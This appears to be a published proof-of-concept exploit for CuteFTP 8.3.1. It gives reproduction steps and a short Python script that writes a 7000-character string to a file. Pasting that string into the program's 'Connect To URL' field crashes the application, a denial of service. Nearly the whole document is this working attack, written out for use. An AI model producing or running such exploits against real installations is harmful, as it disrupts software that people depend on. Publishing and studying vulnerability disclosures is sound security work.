# Exploit Title : CuteFTP 8.3.1 - Denial Of Service (PoC)
# Exploit Author : Ali Alipour
# WebSite : Alipour.it
# Date: 2018-08-22
# Vendor Homepage : http://www.cuteftp.com/
# Software Link Download : https://filehippo.com/download_cuteftp_pro/4518/
# Tested on : Windows 10 - 64-bit
 
# Steps to Reproduce
# Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CuteFTP program. 
# In the new window click "File" > "Connect" > "Connect To URL" . 
# Now Paste the content of "exploit.txt" into the field: " Connect To URL ". 
# Click "OK" and you will see a crash.
 
#!/usr/bin/python
     
buffer = "A" * 7000
payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"